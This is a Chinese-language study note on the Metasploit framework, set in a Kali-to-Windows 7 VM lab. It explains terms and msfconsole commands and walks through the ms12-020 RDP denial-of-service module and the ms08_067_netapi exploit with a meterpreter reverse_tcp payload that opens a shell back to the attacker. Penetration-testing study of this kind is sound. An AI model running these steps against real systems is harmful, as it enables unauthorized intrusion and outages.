Metasploit学习总结
最近需要利用metasploit工具找到”针对win732攻击成功、拿到shell并且能够上传文件“的exploit。实现过程中对Metasploit框架有所了解,总结如下。
Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。Metasploit中已经有很多已有的Exploit,他向外部提供使用接口,使用户可以在不了解漏洞原理以及shellcode的情况下对靶机进行目标测试。
0.平台环境
可以在Linux、Windows和Mac OS X系统上运行。本人使用的是Kali,Kali中对Metasploit工具已经有了集成。
本人实现过程中是使用的是Kali和win732。Metasploit安装在Kali中,试图攻击win732系统。其中Kali和win732都是Vmware中的虚拟机,将两个系统的虚拟机网络配置设置为 NAT模式 。
攻击机:Kali
靶机:win732
1.名词解释
Metasploit工具接口:图形用户界面接口:Armitage;命令行接口:msfconsole。
渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
Shellcode,是在渗透攻击时作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
监听器(Listener),是Metasploit中用来等待网络连接的组件。
2.使用步骤
使用metasploit的基本步骤:
- 运行msfconsole
- 确定远程主机
- 找到一个漏洞并使用这个漏洞
- 配置漏洞选项
- 入侵远程主机
3.基本命令
help
search
search <search operator>:<search term>
msf-pro > search platform:Windows
msf-pro > search type:exploit
msf-pro > search author:hd
msf-pro > search app:client
msf-pro > search name:ms08-067
show
show exploits
show missing #To find out what options are required, you can use the show missing command.
show targets #to view a list of potentially vulnerable targets.
set
set target #command to specify a target for the exploit.
set RHOST 192.168.55.1
其他
exploit or run #command to run an exploit module.
back #command to reset the command prompt and to remove the module that is currently loaded.
reload #command to refresh the metadata and methods for an exploit.
background(进程隐藏至后台)
sessions(查看已经成功获取的会话,-i 恢复会话)
quit(关闭当前会话)
shell (获取系统控制台shell,如果目标系统命令行可执行程序不存在或禁止访问, 则shell命令会出错)
irb(与Ruby终端交互,调用metasploit封装好的函数;在irb中还可以添加metasploit附加组件railgun,直接与windows本地API进行交互)
info #查看某个模块的相关信息,比如是否支持某个平台、模块使用条件等
4.使用样例解释
#查找模块中含有ms12-020的模块
search ms12-020
#利用该模块进行攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
#查看需要填写的参数
show options
#填写需要写的参数
set RHOST 192.168.116.129
执行auxiliary攻击模块
run/exploit
#使用search功能搜索ms08-067
search ms08-067
#使用use命令选定要利用的模块
use exploit/windows/smb/ms08_067_netapi
#设置攻击载荷;从目标主机发起一个反弹连接
set PAYLOAD windows/meterpreter/reverse_tcp
#使用show targets命令让我们识别和匹配目标操作系统的类型
show targets
#选定系统编号(TARTGET),设置靶机IP(RHOST)与本机IP(LHOST)
set TARGET 17
set RHOST 192.168.116.129
set LHOST 192.168.116.128
#使用“show options”命令查看当前参数设置情况
show options
#参数检查无误后,输入“exploit”对靶机进行攻击。当返回meterpreter提示符表示利用成功。
run/exploit
5.渗透攻击失败可能的原因
-
网络连接:攻击机和靶机之间网络不相连,要保证两台虚机之间能互相ping通
-
靶机的一些权限设置:防火墙、远程桌面功能等
-
版本一致性:exploit以及shellcode都是针对特定系统/软件版本的漏洞和shellcode,要与info、漏洞信息以及shellcode中的源码中实现的版本保持一致